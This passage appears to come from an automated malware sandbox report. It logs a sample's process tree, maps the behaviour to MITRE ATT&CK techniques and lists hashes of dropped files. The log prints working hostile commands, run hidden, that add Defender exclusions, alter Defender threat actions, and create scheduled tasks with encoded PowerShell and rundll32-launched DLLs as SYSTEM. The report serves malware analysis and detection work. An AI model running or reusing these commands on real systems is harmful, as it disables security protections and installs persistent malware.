\"C:\Windows\Temp\WPGfhLqOzAIwKSwi\" /t REG_DWORD /d 0 /reg:64;"
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2528
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ADJLsahCU" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:3924
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ADJLsahCU" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:4640
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ADJLsahCU" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:2320
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AymmxTCbqblaRZJGVqR" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2212
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AymmxTCbqblaRZJGVqR" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:828
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DQANlvmTAvZU2" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1524
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DQANlvmTAvZU2" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:4396
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PZjcxajBIsNTC" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:840
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PZjcxajBIsNTC" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:2084
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mWJfrhglotUn" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:3232
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mWJfrhglotUn" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:3652
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\VyWMmqtuSNndeGVB /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2524
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\VyWMmqtuSNndeGVB /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:2800
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1788
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:660
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1428
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:4420
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1756
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:2772
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\WPGfhLqOzAIwKSwi /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:4288
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\WPGfhLqOzAIwKSwi /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:3348
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "gvuFYRCiP" /SC once /ST 19:25:32 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
  2⤵
  - Creates scheduled task(s)
  PID:4868
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3732
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "gvuFYRCiP"
  2⤵
  PID:3244
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "gvuFYRCiP"
  2⤵
  PID:2016
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4640
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "XyyyteIMwZeutaZuw" /SC once /ST 12:44:52 /RU "SYSTEM" /TR "\"C:\Windows\Temp\WPGfhLqOzAIwKSwi\CKEIBaXuklpWnmi\BUCIlqG.exe\" GH /ZPTtdidLr 385118 /S" /V1 /F
  2⤵
  - Drops file in Windows directory
  - Creates scheduled task(s)
  PID:2396
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3492
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "XyyyteIMwZeutaZuw"
  2⤵
  PID:3936
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:840

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:5000

C:\Windows\Temp\WPGfhLqOzAIwKSwi\CKEIBaXuklpWnmi\BUCIlqG.exe
C:\Windows\Temp\WPGfhLqOzAIwKSwi\CKEIBaXuklpWnmi\BUCIlqG.exe GH /ZPTtdidLr 385118 /S
1⤵
- Checks computer location settings
- Executes dropped EXE
- Drops Chrome extension
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:3960
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
  2⤵
  PID:3748
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
    3⤵
    PID:544
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
      4⤵
      PID:1600
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        
        PID:3928
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
    3⤵
    PID:1072
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
      4⤵
      PID:3568
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        
        PID:2872
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
    3⤵
    PID:1896
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
      4⤵
      PID:4852
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        
        PID:4980
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
    3⤵
    PID:3496
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
      4⤵
      PID:2092
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        
        PID:1488
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    PID:3548
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
      4⤵
      PID:1432
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        Suspicious use of AdjustPrivilegeToken
        
        PID:3480
      - C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        6⤵
        
        PID:3524
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "bbmnnUCIPYyTQrzMQJ"
  2⤵
  PID:3920
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
  2⤵
  PID:4852
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
    3⤵
    PID:3652
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
      4⤵
      PID:4164
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        5⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        Suspicious use of AdjustPrivilegeToken
        
        PID:2036
      - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:348
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\ADJLsahCU\wkdLsI.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "FPieTEPPuEmJrhC" /V1 /F
  2⤵
  - Drops file in Windows directory
  - Creates scheduled task(s)
  PID:4252
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "FPieTEPPuEmJrhC2" /F /xml "C:\Program Files (x86)\ADJLsahCU\wtCUYad.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:4068
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "FPieTEPPuEmJrhC"
  2⤵
  PID:2772
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "FPieTEPPuEmJrhC"
  2⤵
  PID:844
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "RMEgILKoRohUOb" /F /xml "C:\Program Files (x86)\DQANlvmTAvZU2\nbshvVr.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:1292
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "zeKFSgsyWsBDI2" /F /xml "C:\ProgramData\VyWMmqtuSNndeGVB\TgPsmdT.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:884
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "VMffJjKqhXQmtrZGW2" /F /xml "C:\Program Files (x86)\AymmxTCbqblaRZJGVqR\lMBxIWA.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:4772
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "iNxHEAmPUdTkVvEiVFU2" /F /xml "C:\Program Files (x86)\PZjcxajBIsNTC\qzGRNXk.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:2100
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "rrqYunoktxOQmCoCX" /SC once /ST 11:14:46 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\WPGfhLqOzAIwKSwi\RNPknDgN\JNfdnKA.dll\",#1 /qtudidiJBf 385118" /V1 /F
  2⤵
  - Drops file in Windows directory
  - Creates scheduled task(s)
  PID:2092
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "rrqYunoktxOQmCoCX"
  2⤵
  PID:2116
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "XyyyteIMwZeutaZuw"
  2⤵
  PID:1020
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4068

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:2540

C:\Windows\system32\rundll32.EXE
C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\WPGfhLqOzAIwKSwi\RNPknDgN\JNfdnKA.dll",#1 /qtudidiJBf 385118
1⤵
PID:1592
- C:\Windows\SysWOW64\rundll32.exe
  C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\WPGfhLqOzAIwKSwi\RNPknDgN\JNfdnKA.dll",#1 /qtudidiJBf 385118
  2⤵
  - Blocklisted process makes network request
  - Checks BIOS information in registry
  - Loads dropped DLL
  - Enumerates system info in registry
  PID:428
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "rrqYunoktxOQmCoCX"
    3⤵
    PID:1704

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Pre-OS Boot

T1542

Bootkit

T1542.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Virtualization/Sandbox Evasion

T1497

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files (x86)\rover\Come\Come.001.png

Filesize
2KB

MD5
8d0dfb878717f45062204acbf1a1f54c

SHA1
1175501fc0448ad267b31a10792b2469574e6c4a

SHA256
8cf6a20422a0f72bcb0556b3669207798d8f50ceec6b301b8f0f1278b8f481f9

SHA512
e4f661ba8948471ffc9e14c18c6779dba3bd9dcc527d646d503c7d4bdff448b506a7746154380870262902f878275a8925bf6aa12a0b8c6eb8517f3a72405558

Download Submit
C:\Program Files (x86)\rover\Come\Come.002.png

Filesize
2KB

MD5
da104c1bbf61b5a31d566011f85ab03e

SHA1
a05583d0f814685c4bb8bf16fd02449848efddc4

SHA256
6b47ad7fe648620ea15b9c07e62880af48a504b83e8031b2521c25e508aa0ef1

SHA512
a8e27abefb0f5bfffe15a19fd882b2e112687abe6ac4bbd5187036cb6058b0124d6ce76fc9227970c8fe2f5768aa0d1faa3319d33b1f42413e8bdfe2ce15296d

Download Submit
C:\Program Files (x86)\rover\Come\Come.004.png

Filesize
2KB

MD5
f57ff98d974bc6b6d0df56263af5ca0d

SHA1
2786eb87cbe958495a0113f16f8c699935c74ef9

SHA256
9508d82995364556a882c54306210e885868a8df2f2ad93485c14f88c9f9e1b7

SHA512
1d4ca268d1c98ac545008b079076609e18bfdf22cd31b7b75b9218d03c6edb37b245298ff717e48309ca862f973a4383b101e43732a162b4d7f78573612c64ea

Download Submit
C:\Program Files (x86)\rover\Come\Come.005.png

Filesize
2KB

MD5
7fb2e99c5a3f7a30ba91cb156ccc19b7

SHA1
4b70de8bb59dca60fc006d90ae6d8c839eff7e6e

SHA256
40436d5ab3589d33dae09b470ccacd369422d2569804cf1532e5946fc7e45535

SHA512
c0d83325928d629abba648360c8687091d18d52991297d69625ccd4617d4d5add4aa16c288cc408b26c79cd37decf5ee2198e8b87b67ef5b88802afae93fb51a

Download Submit
C:\Program Files (x86)\rover\Come\Come.006.png

Filesize
3KB

MD5
a49c8996d20dfb273d03d2d37babd574

SHA1
96a93fd5aa1d5438217f17bffbc26e668d28feaf

SHA256
f4c568336894b3140f0ca7005a5751ad5a860422290b2b6e23d72656160862b1

SHA512
9abb666891fa00ae77801fe9b3aab62bca37402197d22983e98d8442e6d890b1091a47dc1eca1ac68caa52a633bb60c8c3248de65056a6435f4affb98f401a30

Download Submit
C:\Program Files (x86)\rover\Come\Come.007.png

Filesize
3KB

MD5
e65884abe6126db5839d7677be462aba

SHA1
4f7057385928422dc8ec90c2fc3488201a0287a8

SHA256
8956643da83aa74bc89b4d71db7b470200863de230be647a6881d8f3f60df3ac

SHA512
7285b8acca0210a85dd4317a7beab161708544c4c25a742ce7284b545fa4953be89eb685e62f30fba56d6cb2fc806062ccdf4a0e62516eea047097c6856900c2

Download Submit
C:\Program Files (x86)\rover\Come\Come.008.png

Filesize
3KB

MD5
f355305ada3929ac1294e6c38048b133

SHA1
a488065c32b92d9899b3125fb504d8a00d054e0e

SHA256
37de9b0126ffa3967455083dd72ba70501b1e4c92ae25eb0667f840911585775

SHA512
6082003d98022597007623ff7cdece9d9a14ad19bf55ac35afb2277fe22378c865899a5b28b4b5828d0d48fb7859fea82886d98d8d3a3813413f1e864e3849b2

Download Submit
C:\Program Files (x86)\rover\Come\Come.009.png

Filesize
3KB

MD5
1d812d808b4fd7ca678ea93e2b059e17

SHA1
c02b194f69cead015d47c0bad243a4441ec6d2cd

SHA256
e4e2fe6652557dec0e703da7325808cab4722961398dc9bf9fdae36c1de8841d

SHA512
a8781c78d7d23f70f7450e749732d2909447cfa194d8e49a899c77f808e735878da8d838eecb4e8db7470d040800ae45f977d5f208bfad6c15d62d6456611e84

Download Submit
C:\Program Files (x86)\rover\Come\Come.010.png

Filesize
3KB

MD5
e0436699f1df69af9e24efb9092d60a9

SHA1
d2c6eed1355a8428c5447fa2ecdd6a3067d6743e

SHA256
eeae94fa4ddca88b0fefec2e449064ea1c6d4c8772762bb900dc7752b68706e4

SHA512
d6b4adf98c9deb784be1f775a138a7252b558b9d9443a8a3d1435043196738b1ea32439cd09c507d0e2a074a5ba2973e7ffce6c41b26e17460b7695428666cbf

Download Submit
C:\Program Files (x86)\rover\Come\Come.011.png

Filesize
3KB

MD5
f45528dfb8759e78c4e933367c2e4ea8

SHA1
836962ef96ed4597dbc6daa38042c2438305693a

SHA256
31d92998e8e9de48700039027a935b5de3242afd4938e6b10509dc87d84eb758

SHA512
16561ca527e2081519decbc0fb04b9955b398eb97db7a3d442500b6aefcb4e620bebd87d7c8ddad2cf940035710fc5a000b59d7ed5d0aa06f3af87e9eebcb523

Download Submit
C:\Program Files (x86)\rover\Come\Come.012.png

Filesize
3KB

MD5
195bb4fe6012b2d9e5f695269970fce5

SHA1
a62ef137a9bc770e22de60a8f68b6cc9f36e343b

SHA256
afa59cb80b91e29360a95746979be494bdee659d9b8bfad65782b474273d5e62

SHA512
8fbe3ca2950261d976b80efd6a8d36d4a47b445a3e4669e100ce8c5d2a1f692e7b40ab324494a6de7847861d99194e13344a84aa135e458924b95fadf3905fd4

Download Submit
C:\Program Files (x86)\rover\Come\Come.013.png

Filesize
3KB

MD5
3c0ef957c7c8d205fca5dae28b9c7b10

SHA1
4b5927bf1cf8887956152665143f4589d0875d58

SHA256
3e6a44a4e993d70a2f8409b4194fa15551d5f7a3651a5d1e74d3c6b640da08c7

SHA512
bf2a5dd182c7cce4f6d00a4a1738f3a777b61c612c2449716b0fa62c62570ca1c21ac0063c221923e5db3b4101a4e7e32e711c9bfa075a2949ea9fa2e51ca704

Download Submit
C:\Program Files (x86)\rover\Come\Come.014.png

Filesize
3KB

MD5
2445d5c72c6344c48065349fa4e1218c

SHA1
89df27d1b534eb47fae941773d8fce0e0ee1d036

SHA256
694d6774638b36148f7a1b14809a025a16895ad4ec8645a6db2fe9cd5f784dbb

SHA512
d8134a66845c71d633f56e5fd656d545f09dad82d18ec21a7415f825cb6c0634ed775008c6fdea83dfec95ce659144e6de806edac620f389fcc3064683c3a7b3

Download Submit
C:\Program Files (x86)\rover\Come\Come.015.png

Filesize
3KB

MD5
678d78316b7862a9102b9245b3f4a492

SHA1
b272d1d005e06192de047a652d16efa845c7668c

SHA256
26fab597e882c877562abea6b13557c60d3ed07fd359314cdc3a558f8224266b

SHA512
cb6154e67ea75612dddd426e448f78c87946b123ff7b81f3fc83444adac4692bb5f3a04038291d9df7e102a301e41541a10e709e8adfde376016d86de15087db

Download Submit
C:\Program Files (x86)\rover\Come\Come.016.png

Filesize
3KB

MD5
aa4c8764a4b2a5c051e0d7009c1e7de3

SHA1
5e67091400cba112ac13e3689e871e5ce7a134fe

SHA256
1da7b39ec5f3cad19dc66f46fee90c22a5a023a541eca76325074bee5c5a7260

SHA512
eea254f7327639999f68f4f67308f4251d900adb725f62c71c198d83b62aa3215f2ce23bd679fddde6ac0c40a5c7b6b04800bc069f2940e21e173b830d5762e2

Download Submit
C:\Program Files (x86)\rover\Come\Come.017.png

Filesize
4KB

MD5
7c216e06c4cb8d9e499b21b1a05c3e4a

SHA1
d42dde78eb9548de2171978c525194f4fa2c413c

SHA256
0083bb52df2830f2fc0e03ffa861728916e3f1a6db3560e66adbca9716318ee3

SHA512
6ffbcc1c6ad1a0c01a35fdbf14918dfc9e2026a3021e3b6d761d56f4006b4218ffc2278eb2f820ae54722cd0c35fde40ca715154f6e2ae6c24aef0724d0ed004

Download Submit
C:\Program Files (x86)\rover\Come\Come.018.png

Filesize
4KB

MD5
e17061f9a7cb1006a02537a04178464d

SHA1
810b350f495f82587134cdf16f2bd5caebc36cf5

SHA256
9049038f58e048cc509bcc51434119465c376700ec45bedfd1d8f45440bdc32a

SHA512
d5b899109a16195d3fdb8f23382b48bab70dfcd0c823a03a0cdc4e50501812fc644b938839c3346e8aabc2925ce3bdebffad07ef2f90d291663275ba3d225ab3

Download Submit
C:\Program Files (x86)\rover\Come\Come.019.png

Filesize
3KB

MD5
63dbf53411402e2a121c3822194a1347

SHA1
86a2e77e667267791054021c459c1607c9b8dbb6

SHA256
47b80b828244964005bd947b80958f3aa6372b843dc088e33fbbd35ab3f785c5

SHA512
4b4603d88bddcb86e4282dafd55d8f00b852464daab588a554db829af566d5aa6baa3d575c58b133276be22203c014de73c0c3e35bfbe53570c356ef47bb5a50

Download Submit
C:\Program Files (x86)\rover\Speak\Speak.001.png

Filesize
3KB

MD5
0197012f782ed1195790f9bf0884ca0d

SHA1
fc0115826fbaf8cefa478e506b46b7b66a804f13

SHA256
c999fa6fd26a4a2af2155bd05522b44b54d6df90d1a9703a288bdf18b623c2cc

SHA512
614bce1f761871ba1113de49217725b7b6661c703b03864cef736f44e2d1e0c5fbe133966d24afb15900f0e4da16b24000a2a638b6d7839848874f386b3b81c1

Download Submit
C:\Program Files (x86)\rover\Speak\Speak.002.png

Filesize
3KB

MD5
b45ff2750a41e0d8ca6a597fbcd41b57

SHA1
cf162e0371a1a394803a1f3145d5e9b7cddd5088

SHA256
727a2aac0697bcfecdc56dc4507516f9f64c5faa426f0ce69f7e607b74c4e1f4

SHA512
